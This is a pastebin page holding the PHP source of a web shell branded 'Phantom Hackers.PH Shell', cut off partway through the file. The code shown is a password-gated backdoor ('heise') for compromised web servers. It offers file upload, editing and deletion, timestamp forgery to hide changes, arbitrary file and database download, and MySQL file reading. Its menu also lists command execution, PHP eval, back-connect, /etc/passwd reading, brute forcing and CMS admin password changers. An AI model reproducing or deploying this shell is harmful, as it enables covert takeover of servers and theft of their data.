ulvis.paste.net

Paste Search Dynamic
Recent pastes
relaismoto
  1. <?php
  2. $mtime = explode(' ', microtime());
  3. $starttime = $mtime[1] + $mtime[0];
  4. define('SA_ROOT', str_replace('\\', '/', dirname(__file__)).'/');
  5. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  6. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  7. define('IS_COM', class_exists('COM') ? 1 : 0 );
  8. $dis_func = get_cfg_var('disable_functions');
  9. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  10.  
  11. foreach(array('_GET','_POST') as $_request) {
  12.         foreach($$_request as $_key => $_value) {
  13.                 if ($_key{0} != '_') {
  14.                         if (IS_GPC) {
  15.                                 $_value = s_array($_value);
  16.                         }
  17.                         $$_key = $_value;
  18.                 }
  19.         }
  20. }
  21.  
  22. /*=================  Info Login  ================*/
  23. $admin = array();
  24. $admin['check'] = true;
  25. $admin['pass']  = 'heise'; // Password login
  26. $admin['cookiepre'] = '';
  27. $admin['cookiedomain'] = '';
  28. $admin['cookiepath'] = '/';
  29. $admin['cookielife'] = 86400;
  30. /*===================== End =====================*/
  31.  
  32. if ($charset == 'utf8') {
  33.         header("content-Type: text/html; charset=utf-8");
  34. } elseif ($charset == 'big5') {
  35.         header("content-Type: text/html; charset=big5");
  36. } elseif ($charset == 'gbk') {
  37.         header("content-Type: text/html; charset=gbk");
  38. } elseif ($charset == 'latin1') {
  39.         header("content-Type: text/html; charset=iso-8859-2");
  40. }
  41.  
  42. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  43. $timestamp = time();
  44.  
  45. /*===================== Login =====================*/
  46. if ($action == "logout") {
  47.         scookie('vbapass', '', -86400 * 365);
  48.         p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  49.         p('<body background=black>');
  50.         exit;
  51. }
  52. if($admin['check']) {
  53.         if ($doing == 'login') {
  54.                 if ($admin['pass'] == $password) {
  55.                         scookie('vbapass', $password);
  56.                         p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  57.                         p('<body bgcolor=black>
  58. <BR><BR><div align=center><font color=yellow face=tahoma size=2>Phantom Hackers.PH Shell~ Please Wait.<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
  59.                         exit;
  60.                 }
  61.  
  62.         else
  63.         {
  64.         $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
  65. echo $err_mess;
  66.         }}
  67.         if ($_COOKIE['vbapass']) {
  68.                 if ($_COOKIE['vbapass'] != $admin['pass']) {
  69.                         loginpage();
  70.                 }
  71.         } else {
  72.                 loginpage();
  73.         }
  74. }
  75. /*===================== Login =====================*/
  76.  
  77. $errmsg = '';
  78.  
  79. if ($action == 'phpinfo') {
  80.         if (IS_PHPINFO) {
  81.                 phpinfo();
  82.         } else {
  83.                 $errmsg = 'phpinfo() function has non-permissible';
  84.         }
  85. }
  86.  
  87.  
  88. if ($doing == 'downfile' && $thefile) {
  89.         if (!@file_exists($thefile)) {
  90.                 $errmsg = 'The file you want Downloadable was nonexistent';
  91.         } else {
  92.                 $fileinfo = pathinfo($thefile);
  93.                 header('Content-type: application/x-'.$fileinfo['extension']);
  94.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  95.                 header('Content-Length: '.filesize($thefile));
  96.                 @readfile($thefile);
  97.                 exit;
  98.         }
  99. }
  100.  
  101.  
  102. if ($doing == 'backupmysql' && !$saveasfile) {
  103.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  104.         $table = array_flip($table);
  105.         $result = q("SHOW tables");
  106.         if (!$result) p('<h2>'.mysql_error().'</h2>');
  107.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  108.         header('Content-type: application/unknown');
  109.         header('Content-Disposition: attachment; filename='.$filename);
  110.         $mysqldata = '';
  111.         while ($currow = mysql_fetch_array($result)) {
  112.                 if (isset($table[$currow[0]])) {
  113.                         $mysqldata .= sqldumptable($currow[0]);
  114.                 }
  115.         }
  116.         mysql_close();
  117.         exit;
  118. }
  119.  
  120. // Mysql
  121. if($doing=='mysqldown'){
  122.         if (!$dbname) {
  123.                 $errmsg = 'Please input dbname';
  124.         } else {
  125.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  126.                 if (!file_exists($mysqldlfile)) {
  127.                         $errmsg = 'The file you want Downloadable was nonexistent';
  128.                 } else {
  129.                         $result = q("select load_file('$mysqldlfile');");
  130.                         if(!$result){
  131.                                 q("DROP TABLE IF EXISTS tmp_angel;");
  132.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  133.                                 //Download SQL
  134.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  135.                                 $result = q("select content from tmp_angel");
  136.                                 q("DROP TABLE tmp_angel");
  137.                         }
  138.                         $row = @mysql_fetch_array($result);
  139.                         if (!$row) {
  140.                                 $errmsg = 'Load file failed '.mysql_error();
  141.                         } else {
  142.                                 $fileinfo = pathinfo($mysqldlfile);
  143.                                 header('Content-type: application/x-'.$fileinfo['extension']);
  144.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  145.                                 header("Accept-Length: ".strlen($row[0]));
  146.                                 echo $row[0];
  147.                                 exit;
  148.                         }
  149.                 }
  150.         }
  151. }
  152.  
  153. ?>
  154. <html>
  155. <head>
  156. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  157. <title><?php echo str_replace('.','','Phantom Hackers.PH ~Kh4lifax');?></title>
  158. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur862.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur862.png), progress !important;}
  159. <a href="http://www.cursors-4u.com/cursor/2011/11/22/night-diamond-bloody-red-link-select.html" target="_blank" title="Night Diamond Bloody Red - Link Select"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond Bloody Red - Link Select" style="position:absolute; top: 0px; right: 0px;" /></a>
  160. </style>
  161. <style type="text/css">
  162. body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
  163.  
  164. a {color: #AAFFCC;text-decoration:none;}
  165. a:hover{color: #f00;text-decoration:underline;}
  166. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  167. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  168. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  169. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  170. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
  171. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
  172. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  173. .head td span{font-weight:normal;}
  174. form{margin:0;padding:0;}
  175. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  176. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  177. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  178. input, textarea, button
  179. {
  180.         font-size: 9pt;
  181.         color: #ccc;
  182.         font-family: verdana, sans-serif;
  183.         background-color: #202020;
  184.         border-left: 1px solid #AAFFCC;
  185.         border-top: 1px solid #AAFFCC;
  186.         border-right: 1px solid #AAFFCC;
  187.         border-bottom: 1px solid #AAFFCC;
  188. }
  189. select
  190. {
  191.         font-size: 8pt;
  192.         font-weight: normal;
  193.         color: #ccc;
  194.         font-family: verdana, sans-serif;
  195.         background-color: #202020;
  196. }
  197.  
  198. </style>
  199. <script type="text/javascript">
  200. function CheckAll(form) {
  201.         for(var i=0;i<form.elements.length;i++) {
  202.                 var e = form.elements[i];
  203.                 if (e.name != 'chkall')
  204.                 e.checked = form.chkall.checked;
  205.     }
  206. }
  207. function $(id) {
  208.         return document.getElementById(id);
  209. }
  210. function goaction(act){
  211.         $('goaction').action.value=act;
  212.         $('goaction').submit();
  213. }
  214. </script>
  215. </head>
  216. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
  217.  
  218.  
  219. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  220.                                 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#990066">
  221.                                         <tr>
  222.                                                 <td align="center" valign=center>
  223.                                  <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
  224.                                    Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  225.                                   </div>
  226.                                 </td>
  227.                                         </tr>
  228.                                 </table>
  229.                          </div>
  230.  <script>
  231.  var ld=(document.all);
  232.   var ns4=document.layers;
  233.  var ns6=document.getElementById&&!document.all;
  234.  var ie4=document.all;
  235.   if (ns4)
  236.         ld=document.loading;
  237.  else if (ns6)
  238.         ld=document.getElementById("loading").style;
  239.  else if (ie4)
  240.         ld=document.all.loading.style;
  241.   function init()
  242.  {
  243.  if(ns4){ld.visibility="hidden";}
  244.  else if (ns6||ie4) ld.display="none";
  245.  }
  246.  </script>
  247.  
  248.  
  249.  
  250.  
  251. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  252.         <tr class="head_small">
  253.                 <td  width=100%>
  254.                 <table width=100%><tr class="head_small"><td  width=86px><a title="Phantom Hackers.PH" href="<?php $self;?>"><img src=http://i1350.photobucket.com/albums/p761/khalifax/oie_transparent_zpsaca3c35a.png height=86 border=0></a></td><td>
  255.                 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://twitter.com/Paulbits" target="_blank"><?php echo str_replace('.','','Phantom Hackers.PH ');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
  256.  
  257.                 <?php
  258.                 $curl_on = @function_exists('curl_version');
  259.                 $mysql_on = @function_exists('mysql_connect');
  260.                 $mssql_on = @function_exists('mssql_connect');
  261.                 $pg_on = @function_exists('pg_connect');
  262.                 $ora_on = @function_exists('ocilogon');
  263.  
  264. echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
  265. echo "PHP version: <b>".@phpversion()."</b> - ";
  266.                 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  267.                 echo "MySQL: <b>";
  268. $mysql_on = @function_exists('mysql_connect');
  269. if($mysql_on){
  270. echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
  271. echo "MSSQL: <b>";
  272. $mssql_on = @function_exists('mssql_connect');
  273. if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  274. echo "PostgreSQL: <b>";
  275. $pg_on = @function_exists('pg_connect');
  276. if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  277. echo "Oracle: <b>";
  278. $ora_on = @function_exists('ocilogon');
  279. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
  280.  
  281. echo "Disable functions : <b>";
  282. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  283. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  284. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  285.                 ?>
  286.                 </td></tr></table></td>
  287.         </tr>
  288.         <tr class="alt1">
  289.                 <td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=blue>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=blue>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <a href="javascript:goaction('safemode');">&nbspSafe Mode Off</a><br />
  290. --------------------------------------------------------------------------------------<br />
  291.                        
  292.                         <a href="javascript:goaction('file');">File Manager</a> |
  293.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  294.                         <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  295.                         <a href="javascript:goaction('shell');">Execute Command</a> |
  296.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |<p/>
  297.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>  |
  298.                         <a href="javascript:goaction('cgi2012');">CGI Telnet 2012</a> |
  299.                         <a href="javascript:goaction('port-sc');">Open Port Scanner</a> |
  300.                         <a href="javascript:goaction('symlink');">Symlink</a> |
  301.                         <a href="javascript:goaction('jumping');">Jumping</a> |
  302.                         <a href="javascript:goaction('whmcs');">WHCMS Decoder</a> |
  303.                         <a href="javascript:goaction('config');">Symlink Config</a> | <p/>
  304.                         <a href="javascript:goaction('joomla');">Joomla Admin Password Changer</a> |
  305.                         <a href="javascript:goaction('wp');">Wordpress Admin Password Changer</a>
  306.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
  307.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  308.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  309.                        
  310.                 </td>
  311.         </tr>
  312. </table>
  313. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  314. <?php
  315.  
  316. formhead(array('name'=>'goaction'));
  317. makehide('action');
  318. formfoot();
  319.  
  320. $errmsg && m($errmsg);
  321.  
  322. // Dir function
  323. !$dir && $dir = '.';
  324. $nowpath = getPath(SA_ROOT, $dir);
  325. if (substr($dir, -1) != '/') {
  326.         $dir = $dir.'/';
  327. }
  328. $uedir = ue($dir);
  329.  
  330. if (!$action || $action == 'file') {
  331.  
  332.         // Non-writeable
  333.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  334.  
  335.         // Delete dir
  336.         if ($doing == 'deldir' && $thefile) {
  337.                 if (!file_exists($thefile)) {
  338.                         m($thefile.' directory does not exist');
  339.                 } else {
  340.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  341.                 }
  342.         }
  343.  
  344.         // Create new dir
  345.         elseif ($newdirname) {
  346.                 $mkdirs = $nowpath.$newdirname;
  347.                 if (file_exists($mkdirs)) {
  348.                         m('Directory has already existed');
  349.                 } else {
  350.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  351.                         @chmod($mkdirs,0777);
  352.                 }
  353.         }
  354.  
  355.         // Upload file
  356.         elseif ($doupfile) {
  357.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  358.         }
  359.  
  360.         // Edit file
  361.         elseif ($editfilename && $filecontent) {
  362.                 $fp = @fopen($editfilename,'w');
  363.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  364.                 @fclose($fp);
  365.         }
  366.  
  367.         // Modify
  368.         elseif ($pfile && $newperm) {
  369.                 if (!file_exists($pfile)) {
  370.                         m('The original file does not exist');
  371.                 } else {
  372.                         $newperm = base_convert($newperm,8,10);
  373.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  374.                 }
  375.         }
  376.  
  377.         // Rename
  378.         elseif ($oldname && $newfilename) {
  379.                 $nname = $nowpath.$newfilename;
  380.                 if (file_exists($nname) || !file_exists($oldname)) {
  381.                         m($nname.' has already existed or original file does not exist');
  382.                 } else {
  383.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  384.                 }
  385.         }
  386.  
  387.         // Copu
  388.         elseif ($sname && $tofile) {
  389.                 if (file_exists($tofile) || !file_exists($sname)) {
  390.                         m('The goal file has already existed or original file does not exist');
  391.                 } else {
  392.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  393.                 }
  394.         }
  395.  
  396.         // File exit
  397.         elseif ($curfile && $tarfile) {
  398.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  399.                         m('The goal file has already existed or original file does not exist');
  400.                 } else {
  401.                         $time = @filemtime($tarfile);
  402.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  403.                 }
  404.         }
  405.  
  406.         // Date
  407.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  408.                 if (!@file_exists($curfile)) {
  409.                         m(basename($curfile).' does not exist');
  410.                 } else {
  411.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
  412.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  413.                 }
  414.         }
  415.  
  416.         // Download
  417.         elseif($doing == 'downrar') {
  418.                 if ($dl) {
  419.                         $dfiles='';
  420.                         foreach ($dl as $filepath => $value) {
  421.                                 $dfiles.=$filepath.',';
  422.                         }
  423.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  424.                         $dl=explode(',',$dfiles);
  425.                         $zip=new PHPZip($dl);
  426.                         $code=$zip->out;
  427.                         header('Content-type: application/octet-stream');
  428.                         header('Accept-Ranges: bytes');
  429.                         header('Accept-Length: '.strlen($code));
  430.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  431.                         echo $code;
  432.                         exit;
  433.                 } else {
  434.                         m('Please select file(s)');
  435.                 }
  436.         }
  437.  
  438.         // Delete file
  439.         elseif($doing == 'delfiles') {
  440.                 if ($dl) {
  441.                         $dfiles='';
  442.                         $succ = $fail = 0;
  443.                         foreach ($dl as $filepath => $value) {
  444.                                 if (@unlink($filepath)) {
  445.                                         $succ++;
  446.                                 } else {
  447.                                         $fail++;
  448.                                 }
  449.                         }
  450.                         m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
  451.                 } else {
  452.                         m('Please select file(s)');
  453.                 }
  454.         }
  455.  
  456.         // Function Newdir
  457.         formhead(array('name'=>'createdir'));
  458.         makehide('newdirname');
  459.         makehide('dir',$nowpath);
  460.         formfoot();
  461.         formhead(array('name'=>'fileperm'));
  462.         makehide('newperm');
  463.         makehide('pfile');
  464.         makehide('dir',$nowpath);
  465.         formfoot();
  466.         formhead(array('name'=>'copyfile'));
  467.         makehide('sname');
  468.         makehide('tofile');
  469.         makehide('dir',$nowpath);
  470.         formfoot();
  471.         formhead(array('name'=>'rename'));
  472.         makehide('oldname');
  473.         makehide('newfilename');
  474.         makehide('dir',$nowpath);
  475.         formfoot();
  476.         formhead(array('name'=>'fileopform'));
  477.         makehide('action');
  478.         makehide('opfile');
  479.         makehide('dir');
  480.         formfoot();
  481.  
  482.         $free = @disk_free_space($nowpath);
  483.         !$free && $free = 0;
  484.         $all = @disk_total_space($nowpath);
  485.         !$all && $all = 0;
  486.         $used = $all-$free;
  487.         $used_percent = @round(100/($all/$free),2);
  488.         p('<font color=blue face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  489.  
  490. ?>
  491. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  492.   <form action="" method="post" id="godir" name="godir">
  493.   <tr>
  494.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  495.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  496.     <td nowrap><input class="bt" value="GO" type="submit"></td>
  497.   </tr>
  498.   </form>
  499. </table>
  500. <script type="text/javascript">
  501. function createdir(){
  502.         var newdirname;
  503.         newdirname = prompt('Please input the directory name:', '');
  504.         if (!newdirname) return;
  505.         $('createdir').newdirname.value=newdirname;
  506.         $('createdir').submit();
  507. }
  508. function fileperm(pfile){
  509.         var newperm;
  510.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  511.         if (!newperm) return;
  512.         $('fileperm').newperm.value=newperm;
  513.         $('fileperm').pfile.value=pfile;
  514.         $('fileperm').submit();
  515. }
  516. function copyfile(sname){
  517.         var tofile;
  518.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  519.         if (!tofile) return;
  520.         $('copyfile').tofile.value=tofile;
  521.         $('copyfile').sname.value=sname;
  522.         $('copyfile').submit();
  523. }
  524. function rename(oldname){
  525.         var newfilename;
  526.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  527.         if (!newfilename) return;
  528.         $('rename').newfilename.value=newfilename;
  529.         $('rename').oldname.value=oldname;
  530.         $('rename').submit();
  531. }
  532. function dofile(doing,thefile,m){
  533.         if (m && !confirm(m)) {
  534.                 return;
  535.         }
  536.         $('filelist').doing.value=doing;
  537.         if (thefile){
  538.                 $('filelist').thefile.value=thefile;
  539.         }
  540.         $('filelist').submit();
  541. }
  542. function createfile(nowpath){
  543.         var filename;
  544.         filename = prompt('Please input the file name:', '');
  545.         if (!filename) return;
  546.         opfile('editfile',nowpath + filename,nowpath);
  547. }
  548. function opfile(action,opfile,dir){
  549.         $('fileopform').action.value=action;
  550.         $('fileopform').opfile.value=opfile;
  551.         $('fileopform').dir.value=dir;
  552.         $('fileopform').submit();
  553. }
  554. function godir(dir,view_writable){
  555.         if (view_writable) {
  556.                 $('godir').view_writable.value=1;
  557.         }
  558.         $('godir').dir.value=dir;
  559.         $('godir').submit();
  560. }
  561. </script>
  562.   <?php
  563.         tbhead();
  564.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  565.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  566.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  567.         if ($view_writable) {
  568.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  569.         } else {
  570.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  571.         }
  572.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  573.         if (IS_WIN && IS_COM) {
  574.                 $obj = new COM('scripting.filesystemobject');
  575.                 if ($obj && is_object($obj)) {
  576.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  577.                         foreach($obj->Drives as $drive) {
  578.                                 if ($drive->DriveType == 2) {
  579.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  580.                                 } else {
  581.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  582.                                 }
  583.                         }
  584.                 }
  585.         }
  586.  
  587.         p('</td></tr></form>');
  588.  
  589.         p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  590.  
  591.         // Get path
  592.         $dirdata=array();
  593.         $filedata=array();
  594.  
  595.         if ($view_writable) {
  596.                 $dirdata = GetList($nowpath);
  597.         } else {
  598.                 // Open dir
  599.                 $dirs=@opendir($dir);
  600.                 while ($file=@readdir($dirs)) {
  601.                         $filepath=$nowpath.$file;
  602.                         if(@is_dir($filepath)){
  603.                                 $dirdb['filename']=$file;
  604.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  605.                                 $dirdb['dirchmod']=getChmod($filepath);
  606.                                 $dirdb['dirperm']=getPerms($filepath);
  607.                                 $dirdb['fileowner']=getUser($filepath);
  608.                                 $dirdb['dirlink']=$nowpath;
  609.                                 $dirdb['server_link']=$filepath;
  610.                                 $dirdb['client_link']=ue($filepath);
  611.                                 $dirdata[]=$dirdb;
  612.                         } else {
  613.                                 $filedb['filename']=$file;
  614.                                 $filedb['size']=sizecount(@filesize($filepath));
  615.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  616.                                 $filedb['filechmod']=getChmod($filepath);
  617.                                 $filedb['fileperm']=getPerms($filepath);
  618.                                 $filedb['fileowner']=getUser($filepath);
  619.                                 $filedb['dirlink']=$nowpath;
  620.                                 $filedb['server_link']=$filepath;
  621.                                 $filedb['client_link']=ue($filepath);
  622.                                 $filedata[]=$filedb;
  623.                         }
  624.                 }// while
  625.                 unset($dirdb);
  626.                 unset($filedb);
  627.                 @closedir($dirs);
  628.         }
  629.         @sort($dirdata);
  630.         @sort($filedata);
  631.         $dir_i = '0';
  632.         foreach($dirdata as $key => $dirdb){
  633.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  634.                         $thisbg = bg();
  635.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  636.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  637.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  638.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
  639.                         p('<td nowrap>--</td>');
  640.                         p('<td nowrap>');
  641.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  642.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  643.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  644.                         p('</tr>');
  645.                         $dir_i++;
  646.                 } else {
  647.                         if($dirdb['filename']=='..') {
  648.                                 p('<tr class=fout>');
  649.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  650.                                 p('</tr>');
  651.                         }
  652.                 }
  653.         }
  654.  
  655.         p('<tr bgcolor="blue" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  656.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  657.         makehide('action','file');
  658.         makehide('thefile');
  659.         makehide('doing');
  660.         makehide('dir',$nowpath);
  661.         $file_i = '0';
  662.         foreach($filedata as $key => $filedb){
  663.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
  664.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  665.                         $thisbg = bg();
  666.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  667.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  668.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  669.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
  670.                         p('<td nowrap>'.$filedb['size'].'</td>');
  671.                         p('<td nowrap>');
  672.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  673.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  674.                         p('<td nowrap>');
  675.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  676.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  677.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  678.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
